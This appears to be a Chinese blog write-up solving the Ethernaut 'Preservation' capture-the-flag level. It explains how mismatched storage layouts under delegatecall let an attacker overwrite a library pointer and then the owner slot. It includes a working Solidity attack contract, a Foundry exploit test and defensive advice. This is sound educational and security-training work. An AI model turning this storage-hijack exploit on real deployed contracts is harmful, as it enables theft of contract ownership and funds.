当前位置: 首页 > news >正文

Ethernaut Level 16: Preservation - Delegatecall与存储布局操纵

🎯 Ethernaut Level 16: Preservation - Delegatecall与存储布局操纵

关卡链接: Ethernaut Level 16 - Preservation
攻击类型: delegatecall 存储布局操纵
难度: ⭐⭐⭐⭐☆

📋 挑战目标

本关的目标是获取 Preservation 合约的所有权,即成为该合约的 owner

在这里插入图片描述

🔍 漏洞分析

Preservation 合约的 owner 是私有的,并且没有直接的函数来修改它。漏洞隐藏在使用 delegatecallsetFirstTimesetSecondTime 函数中。

contract Preservation {address public timeZone1Library;address public timeZone2Library;address public owner;uint storedTime;// ... constructor ...function setFirstTime(uint _timeStamp) public {timeZone1Library.delegatecall(abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp));}function setSecondTime(uint _timeStamp) public {timeZone2Library.delegatecall(abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp));}
}

delegatecall 是一个非常危险的操作码。它会在调用者合约的上下文中执行另一个合约的代码。这意味着,被调用合约(library)的代码可以修改调用者合约(Preservation)的存储。

setFirstTime 通过 delegatecall 调用 timeZone1LibrarysetTime 函数时,setTime 函数修改的存储槽位是 Preservation 合约的槽位。

让我们比较一下 PreservationLibraryContract 的存储布局:

SlotPreservation 合约LibraryContract 合约
0timeZone1LibrarystoredTime
1timeZone2Library(未使用)
2owner(未使用)
3storedTime(未使用)

LibraryContract.setTime(uint)delegatecall 调用时,它以为自己在修改 storedTime(位于 slot 0)。但实际上,它修改的是 Preservation 合约的 slot 0,也就是 timeZone1Library 的地址!

这就给了我们一个攻击路径:

  1. 第一次调用 setFirstTime: 我们传入一个精心构造的 _timeStamp,这个 _timeStamp 其实是我们的攻击合约的地址。这次调用会把 Preservation 合约的 timeZone1Library (slot 0) 修改为我们的攻击合约地址。
  2. 创建攻击合约: 我们的攻击合约需要有一个 setTime(uint) 函数。但是,这个函数的实现不是为了设置时间,而是为了修改 owner。为了能修改 owner(位于 slot 2),我们的攻击合约需要有与 Preservation 相似的存储布局,使得 owner 变量也位于 slot 2。
  3. 第二次调用 setFirstTime: 现在 timeZone1Library 已经指向我们的攻击合约。我们再次调用 setFirstTime,这次传入我们自己的地址(player)作为 _timeStampdelegatecall 会执行我们攻击合约的 setTime 函数,该函数会将传入的 _timeStamp (我们的地址) 写入 owner 变量(slot 2),从而使我们成为 owner

💻 Foundry 实现

攻击合约代码

攻击合约的存储布局必须与 Preservation 兼容,至少在前三个槽位上是这样。它的 setTime 函数被设计用来修改 owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;// 攻击合约
contract Attack {// 保持与 Preservation 合约相同的存储布局address public timeZone1Library;address public timeZone2Library;address public owner;// 这个函数签名必须与库函数匹配// 但实现是恶意的function setTime(uint256 _newOwner) public {// 当被 delegatecall 调用时,它会修改 Preservation 合约的 slot 2owner = address(uint160(_newOwner));}
}

Foundry 测试代码

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/16_Preservation.sol";// 攻击合约定义 (同上)
contract Attack {address public timeZone1Library;address public timeZone2Library;address public owner;function setTime(uint256 _newOwner) public { owner = address(uint160(_newOwner)); }
}contract PreservationTest is Test {Preservation instance;Attack attackContract;address player;function setUp() public {player = vm.addr(1);// 部署目标合约和攻击合约LibraryContract lib = new LibraryContract();instance = new Preservation(address(lib), address(lib));attackContract = new Attack();}function testAttacker() public {vm.startPrank(player, player);// 步骤 1: 将 timeZone1Library (slot 0) 修改为攻击合约的地址instance.setFirstTime(uint256(uint160(address(attackContract))));// 验证 timeZone1Library 是否已更改assertEq(instance.timeZone1Library(), address(attackContract));// 步骤 2: 再次调用 setFirstTime,这次会执行攻击合约的 setTime 函数// 将 owner (slot 2) 修改为 player 的地址instance.setFirstTime(uint256(uint160(player)));// 验证 owner 是否已更改assertEq(instance.owner(), player);vm.stopPrank();}
}

关键攻击步骤

  1. 部署攻击合约: 创建一个具有恶意 setTime 函数和兼容存储布局的攻击合约。
  2. 第一次 setFirstTime 调用: 调用 setFirstTime,参数为攻击合约的地址。这会劫持 timeZone1Library 指针。
  3. 第二次 setFirstTime 调用: 再次调用 setFirstTime,参数为 player 的地址。这会执行攻击合约的代码,将 player 的地址写入 Preservation 合约的 owner 存储槽。

🛡️ 防御措施

  1. 使用 library 关键字: Solidity 的 library 类型是专门为此类功能设计的。库是无状态的,并且不能被 delegatecall 直接调用来修改状态(除非使用了特定的技巧)。它们可以防止存储布局冲突。
  2. 确保兼容的存储布局: 如果你必须使用 delegatecall 到一个非库合约,请务必确保两个合约具有完全相同且兼容的存储布局。任何差异都可能导致严重的安全漏洞。
  3. 不要将 delegatecall 暴露给用户输入: 避免让用户控制 delegatecall 的目标地址或参数。delegatecall 应该只用于与受信任和经过验证的代码进行交互。
  4. 使用 call 而不是 delegatecall: 如果只是想调用另一个合约的函数,而不需要在当前合约的上下文中执行,请使用标准的 callcall 会在被调用合约自己的上下文中执行,不会影响调用者的存储。

🔧 相关工具和技术

  • delegatecall: EVM 中最强大的操作码之一,也是最危险的。它允许代码重用,但也带来了存储操纵的风险。
  • 存储布局 (Storage Layout): 理解Solidity如何将变量存储在EVM的存储槽中是高级智能合约安全分析的基础。forge inspect <Contract> storage-layout 是一个非常有用的工具。
  • 类型转换: 将 address 转换为 uint 是本次攻击的关键。uint256(uint160(address)) 是实现这一点的标准方法。

🎯 总结

核心概念:

  • delegatecall 在调用者的上下文中执行代码,这意味着它可以修改调用者的存储。
  • 当调用者和被调用者的存储布局不匹配时,delegatecall 会导致意想不到的、灾难性的状态损坏。
  • 合约的存储槽是按顺序分配的,了解这个顺序是预测 delegatecall 影响的关键。

攻击向量:

  • 利用 delegatecall 和不匹配的存储布局来覆盖合约的关键状态变量(如指针或所有者地址)。
  • 通过两步攻击,首先劫持代码执行流(通过覆盖库地址),然后执行恶意代码来获取权限。

防御策略:

  • 严格限制 delegatecall 的使用。
  • 优先使用 library 关键字来创建无状态的辅助合约。
  • 确保 delegatecall 的目标合约具有兼容的存储布局。

📚 参考资料

  • Solidity Docs: Delegatecall / Callcode and Libraries
  • Consensys: Delegatecall Vulnerabilities

🔗 相关链接

  • 原文
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓

http://www.dtcms.com/a/609293.html

相关文章:

  • 1040视频app深圳网站建设seo推广优化
  • MySQL 中的 MVCC
  • Answer 开源平台搭建:cpolar 内网穿透服务助力全球用户社区构建
  • 从 Spring @Retryable 到 Kafka 原生重试:消息重试方案的演进与最佳实践
  • 做宣传用什么网站好网络设计与实施课程设计
  • 云盘做网站文件网站内容不被收录
  • 服务器部署,用 nginx 部署后页面刷新 404 问题,宝塔面板修改(修改 nginx.conf 配置文件)
  • 500额度claude4.5无线续杯教程
  • 身智能-一文详解视觉-语言-动作(VLA)大模型(3)
  • 【图像处理基石】 怎么让图片变成波普风?
  • MySQL 与 Redis 的数据一致性问题
  • YOLOv8-SOEP-RFPN-MFM水果智能分类与检测模型实现
  • 树莓派UBUNTU 24.04 PART 5 树莓派4b UBUNTU 系统安装miniconda、opencv、tensorflow
  • 学校网站建设开发商中信建设有限责任公司 电话
  • 24 小时知识导航:使用 cpolar 内网穿透服务访问 Perplexica
  • 【数据结构】单调队列
  • 记录使用dify踩的一些坑
  • 手机网站 动态 页面 好 静态页面好招聘网站大全
  • 【科技素养】蓝桥杯STEMA 科技素养组模拟练习试卷 3
  • 做DNN的建议--激活函数篇
  • Debian 初始设置
  • Rust基本语法
  • 最牛论坛网站内蒙古建设工程交易服务中心网站
  • Elasticsearch 索引迁移优化实战:从合并索引到原样导入
  • IDEA中的异常
  • 基于脚手架微服务的视频点播系统-脚手架开发部分(完结)elasticsearch与libcurl的简单使用与二次封装及bug修复
  • 【ZeroRange WebRTC】Kinesis Video Streams WebRTC 三大平面职责与协同关系总结
  • Git:进阶、衍生
  • 深度智能体的中间件
  • 中文分词全切分算法